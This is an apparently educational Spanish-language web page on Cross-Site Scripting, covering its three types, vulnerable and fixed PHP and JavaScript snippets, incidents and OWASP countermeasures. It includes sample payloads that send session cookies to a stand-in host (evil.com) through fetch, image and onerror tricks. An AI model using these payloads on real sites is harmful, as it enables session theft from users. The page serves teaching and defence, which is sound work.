La idea en una frase

Definición
XSS (Cross-Site Scripting) es un ataque que consiste en inyectar código JavaScript malicioso en una página web legítima para que se ejecute en el navegador de otros usuarios, bajo la identidad y los permisos del dominio atacado.

¿Por qué es posible?

Las aplicaciones web mezclan constantemente datos no confiables (input del usuario, parámetros de URL, contenido de base de datos) con código HTML/JS que el navegador va a ejecutar. Cuando esa mezcla se hace sin las debidas precauciones, el atacante puede "colar" su propio código dentro del flujo legítimo.

Uso legítimo — el servidor refleja input
<!-- El usuario busca "zapatillas" -->
<p>Resultados para:
  <strong>zapatillas</strong>
</p>

<!-- El servidor genera esto: -->
<!-- Resultados para: zapatillas -->
<!-- Todo correcto ✅ -->
Input malicioso — XSS reflejado
<!-- El atacante envía este "término": -->
<script>alert(document.cookie)</script>

<!-- El servidor genera esto: -->
<p>Resultados para:
  <strong>
    <script>alert(document.cookie)</script>
  </strong>
</p>
<!-- El navegador ejecuta el script 💀 -->

El flujo del ataque — visualmente

Escenario: atacante roba la sesión de un usuario de un banco

ATK
Atacante
crafts payload
URL maliciosa
SRV
Servidor
banco.com
HTML + payload
WEB
Navegador
de la víctima
cookie robada
EXF
Atacante
acceso total
  1. El atacante encuentra que el buscador de banco.com refleja el input sin sanitizar.
  2. Crafts una URL: banco.com/buscar?q=<script>fetch('evil.com?c='+document.cookie)</script>
  3. Envía la URL a la víctima por email o mensaje haciéndola pasar por legítima.
  4. La víctima hace clic. El servidor devuelve la página con el script dentro.
  5. El navegador ejecuta el script bajo el dominio banco.com → lee la cookie de sesión.
  6. La cookie llega al servidor del atacante. Sesión comprometida.

¿Qué puede hacer el atacante una vez ejecuta JS?

Robo de sesión

Accede a document.cookie y exfiltra las cookies de sesión que no tengan la flag HttpOnly. Con la cookie puede suplantar al usuario.

Defacement

Modifica el HTML visible de la página. Puede reemplazar contenido, añadir mensajes, alterar precios, cambiar números de cuenta en pantalla.

Phishing en contexto

Inyecta formularios de login falsos en la URL legítima del banco. La víctima ve banco.com en la barra de dirección y no sospecha.

Keylogging

Escucha eventos de teclado con addEventListener('keypress',...) y envía cada tecla pulsada al atacante en tiempo real.

Acciones CSRF

Ejecuta peticiones autenticadas en nombre de la víctima: transferencias, cambios de contraseña, publicación de contenido.

📸 Captura de pantalla

Con APIs como Canvas o librerías externas, puede capturar y exfiltrar lo que ve el usuario (formularios, datos sensibles en pantalla).

¿Por qué se llama "Cross-Site"?
El nombre es algo confuso históricamente. Originalmente se refería a que el código del atacante cruzaba desde un sitio malicioso hacia un sitio legítimo. Hoy el nombre es un estándar aunque el ataque no siempre involucra cruce entre sitios — el daño ocurre dentro del mismo sitio legítimo, ejecutando código del atacante con sus permisos.

Los tres tipos de XSS

Todos comparten el mismo objetivo final — ejecutar JavaScript malicioso en el navegador de la víctima — pero difieren en cómo llega el payload al navegador y quién lo almacena.

↩️

XSS Reflejado

El servidor "rebota" el payload de vuelta al usuario sin almacenarlo.

Almacenamiento: Ninguno — por petición
Víctimas: Solo quien hace clic en la URL maliciosa
Vector: Email, SMS, redes sociales
Superficie: Buscadores, páginas de error, formularios con preview
Visibilidad en logs: Sí aparece en logs del servidor
Dificultad de explotación: Media — requiere ingeniería social
Ir al Lab →
💾

XSS Persistente

El payload se almacena en la base de datos y se sirve a todos los visitantes.

Almacenamiento: Sí — BD, ficheros, caché
Víctimas: Todos los que visiten la página infectada
Vector: Comentarios, perfiles, foros, mensajes
Objetivo ideal: Administradores con sesión privilegiada
Visibilidad en logs: El payload se guarda — rastreable
Dificultad de explotación: Baja — solo hay que publicar y esperar
Ir al Lab →
🔀

XSS basado en DOM

El payload nunca pasa por el servidor — vive en el cliente.

Almacenamiento: Ninguno — solo en la URL
Víctimas: Solo quien recibe la URL maliciosa
Vector: Vía #hash — invisible para el servidor
Superficie: SPAs, código JS que lee la URL
Visibilidad en logs: El #hash nunca llega al servidor — sin logs
Dificultad de explotación: Media-alta — requiere análisis de JS
Ir al Lab →

Tabla comparativa rápida

Característica Reflejado Persistente DOM
Servidor procesa el payload ✅ Sí ✅ Sí ❌ No
Se almacena en BD ❌ No ✅ Sí ❌ No
Afecta a múltiples víctimas ❌ No ✅ Sí ❌ No
Visible en logs del servidor ✅ Sí ✅ Sí ❌ No (si usa #hash)
Requiere interacción víctima ✅ Sí ❌ No ✅ Sí
WAF puede bloquearlo ⚠️ A veces ⚠️ A veces ❌ Difícil (client-side)

Del HTML inocente al XSS — paso a paso

Los ejemplos más sencillos posibles para entender exactamente qué está ocurriendo.

Ejemplo 1 — El saludo que ejecuta código

Escenario
Una web de e-commerce muestra un saludo personalizado en la URL: tienda.com/bienvenida?nombre=Carlos → "Hola, Carlos"
Backend PHP — vulnerable
<?php
$nombre = $_GET['nombre'];
// ❌ Input sin escapar en el HTML
echo "<h1>Hola, " . $nombre . "</h1>";
?>

/* URL normal:
   ?nombre=Carlos → <h1>Hola, Carlos</h1>

   URL maliciosa:
   ?nombre=<script>alert(1)</script>
   → <h1>Hola, <script>alert(1)</script></h1>
   → el navegador ejecuta el script ❌ */
Backend PHP — seguro
<?php
$nombre = $_GET['nombre'];
// ✅ htmlspecialchars escapa los caracteres HTML
$nombre_seguro = htmlspecialchars($nombre, ENT_QUOTES, 'UTF-8');
echo "<h1>Hola, " . $nombre_seguro . "</h1>";
?>

/* URL maliciosa con el fix:
   ?nombre=<script>alert(1)</script>
   → <h1>Hola, &lt;script&gt;alert(1)&lt;/script&gt;</h1>
   → el navegador muestra el texto literal ✅ */

Ejemplo 2 — El comentario que infecta a todos

Escenario
Un blog permite comentarios. Un atacante publica un comentario con código JS. Cada vez que alguien visita la página, el código se ejecuta.
Payload del atacante
<!-- El atacante escribe este "comentario": -->
<script>
  // Roba la cookie y la envía al atacante
  var img = new Image();
  img.src = "https://evil.com/steal?c="
    + encodeURIComponent(document.cookie);
</script>

<!-- O más silencioso: -->
<img src=x
  onerror="fetch('https://evil.com/steal?c='
    +document.cookie)"
  style="display:none">
Qué ve la víctima / qué ocurre
<!-- El blog renderiza todos los comentarios -->
<div class="comment">
  <strong>usuario_malo</strong>
  <!-- ❌ El contenido del comentario
       se inserta como HTML sin escapar -->
  <script>
    var img = new Image();
    img.src = "https://evil.com/steal?c="
      + encodeURIComponent(document.cookie);
  </script>
</div>

<!-- El navegador ejecuta el script.
     La cookie llega a evil.com. -->

Ejemplo 3 — DOM XSS con location.hash

Escenario
Una SPA lee el nombre del usuario del hash de la URL para personalizar la interfaz. El servidor nunca ve el hash — el ataque es invisible para los logs.
Código JS — vulnerable
// La app lee el hash para el saludo
window.onload = function() {
  var name = location.hash.slice(1);
  // ❌ innerHTML es un sink peligroso
  document.getElementById('welcome')
    .innerHTML = 'Hola, ' + name;
};

// URL normal:
// app.com/dashboard#Carlos
// → "Hola, Carlos" ✅

// URL maliciosa:
// app.com/dashboard#<img src=x onerror=alert(1)>
// → el img dispara el onerror ❌
// El hash NUNCA llega al servidor.
Código JS — seguro
window.onload = function() {
  var name = location.hash.slice(1);

  // ✅ Opción A: textContent no parsea HTML
  document.getElementById('welcome')
    .textContent = 'Hola, ' + name;

  // ✅ Opción B: crear nodo de texto
  var node = document.createTextNode(
    'Hola, ' + name
  );
  document.getElementById('welcome')
    .appendChild(node);
};

// URL maliciosa ahora:
// → muestra el texto literal "<img...>"
// → no ejecuta nada ✅

XSS en números reales

#1
Vulnerabilidad más reportada en bug bounties
HackerOne Annual Report 2023
4.200+
CVEs de XSS registrados en 2023
NVD / NIST CVE Database
~20%
De todos los CVEs web son XSS
Mitre CWE Top 25 – 2023
CWE-79
Posición en el CWE Top 25 de debilidades más peligrosas
Mitre CWE Top 25 – 2023
$20K+
Recompensa media por XSS crítico en programas top
HackerOne / Bugcrowd 2023
25 años
Llevan existiendo vulnerabilidades XSS (desde 1999)
Primera mención CERT/CC 1999

Casos reales documentados

🐦 Twitter / X 2010

El "XSS worm" de Twitter. Un payload almacenado en tweets se auto-propagaba: cuando un usuario pasaba el cursor por un tweet infectado, el script publicaba el mismo tweet malicioso en su cuenta. Se propagó a más de 100.000 cuentas en menos de una hora.

💥 Impacto: propagación masiva, spam, redirecciones a sitios maliciosos.

🛍️ British Airways 2018

Un script malicioso fue inyectado en la página de pago de British Airways mediante un ataque de supply chain (Magecart). El script capturaba los datos de pago en tiempo real y los enviaba a un servidor controlado por los atacantes.

💥 Impacto: 500.000 clientes afectados. Multa de £20M por GDPR. Datos de tarjetas bancarias comprometidos.

🔵 Facebook 2013

Investigador de seguridad encontró XSS almacenado en el muro de Facebook que permitía ejecutar código en el contexto de cualquier usuario que visitara el perfil. Facebook tardó en responder, por lo que el investigador lo demostró publicándolo en el muro de Mark Zuckerberg.

💥 Impacto: potencial acceso a datos de millones de perfiles. Recompensa de $500 (controvertida).

🛒 eBay 2015–2016

Múltiples vulnerabilidades XSS en listados de productos permitían a vendedores maliciosos inyectar código en las páginas de sus productos. Los compradores que visitaban esos listados podían tener sus sesiones robadas.

💥 Impacto: robo de sesiones de compradores, redirecciones a webs de phishing con la URL de eBay.

XSS en el mercado de ciberseguridad

Bug Bounty

XSS es consistentemente la clase de bug más encontrada y más pagada en plataformas como HackerOne o Bugcrowd. Un XSS crítico en Google o Microsoft puede superar los $30.000.

Mercado negro

Un XSS persistente en un sitio de e-commerce de alto tráfico puede venderse por $500–$5.000 en foros de cibercrimen. Los datos de tarjetas generan el verdadero valor.

Pentesting

Encontrar XSS es una habilidad fundamental para cualquier pentester web. Es uno de los primeros vectores que se evalúa en auditorías OWASP WSTG.

Defensa

Los controles más efectivos — CSP, sanitización y frameworks modernos — han reducido XSS en webs grandes. Pero persiste en aplicaciones legacy, CMSs mal configurados y extensiones de terceros.

XSS en el ecosistema OWASP

OWASP Top 10 — Evolución de XSS

El OWASP Top 10 es la referencia más utilizada para priorizar riesgos en aplicaciones web. XSS ha estado en el Top 10 ininterrumpidamente desde la primera edición en 2003.

2021 Fusionado en A03
A01
Broken Access Control
A02
Cryptographic Failures
A03
⚡ Injection (incl. XSS)
A04
Insecure Design
A05
Security Misconfiguration
A06
Vulnerable Components
A07
Auth Failures
A08
Software Integrity Failures
A09
Logging Failures
A10
SSRF

En 2021, XSS dejó de ser una categoría independiente (era A7 en 2017) y se fusionó con A03 Injection, junto con SQL Injection y otras inyecciones. Esto refleja la visión unificada de OWASP: XSS es fundamentalmente una inyección de código en el contexto del navegador.

OWASP WSTG — Guía de pruebas

El Web Security Testing Guide (WSTG) es el manual de referencia para realizar auditorías de seguridad en aplicaciones web. Define cómo probar cada vulnerabilidad con metodología, payloads y criterios de severidad.

ID WSTG Prueba CWE Severidad
WSTG-INPV-01 Testing for Reflected XSS
Verificar que parámetros de entrada no se reflejan sin escapar en respuestas HTML.
CWE-79 Alta
WSTG-INPV-02 Testing for Stored XSS
Verificar que datos almacenados (comentarios, perfiles) no se renderizan sin sanitizar.
CWE-79 Crítica
WSTG-CLNT-01 Testing for DOM-Based XSS
Identificar sources y sinks en JavaScript del cliente. Revisar uso de innerHTML, eval(), document.write().
CWE-79 Alta
WSTG-CLNT-02 Testing for JavaScript Execution
Verificar que valores de atributos HTML como href, src, action no aceptan javascript:.
CWE-79 Media
WSTG-CLNT-03 Testing for HTML Injection
Inyección de HTML sin llegar a ejecutar JS — puede llevar a phishing contextual.
CWE-80 Media

CWE-79 — La debilidad base

CWE-79 Improper Neutralization of Input During Web Page Generation

La raíz técnica de todas las variantes de XSS. La aplicación no neutraliza (escapa/valida) correctamente los datos proporcionados por el usuario antes de incluirlos en la salida que se envía al navegador web.

Subtipos
  • CWE-80 — Basic XSS (HTML injection)
  • CWE-81 — Improper Sanitization in Error Pages
  • CWE-83 — Improper Neutralization in Attributes
  • CWE-84 — Improperly Encoded URI Schemes
  • CWE-87 — Alternate XSS Syntax
Consecuencias (OWASP)
  • Confidencialidad — robo de datos de sesión
  • Integridad — modificación de contenido
  • Disponibilidad — DoS a nivel de página
  • Control de acceso — escalada de privilegios

Contramedidas según OWASP

1. Output Encoding

Escapar siempre antes de insertar en HTML, JS, CSS o URL. Usar funciones específicas del contexto: htmlspecialchars(), encodeURIComponent().

2. Content Security Policy

Cabecera HTTP que restringe qué scripts pueden ejecutarse y desde qué orígenes. Mitiga el impacto de XSS incluso si el payload se inyecta.

3. Input Validation

Validar el formato esperado del input (whitelist). No confiar solo en esto — la validación no sustituye al encoding.

4. Frameworks modernos

React, Vue, Angular escapan automáticamente el contenido dinámico. El riesgo persiste cuando se usan dangerouslySetInnerHTML o equivalentes.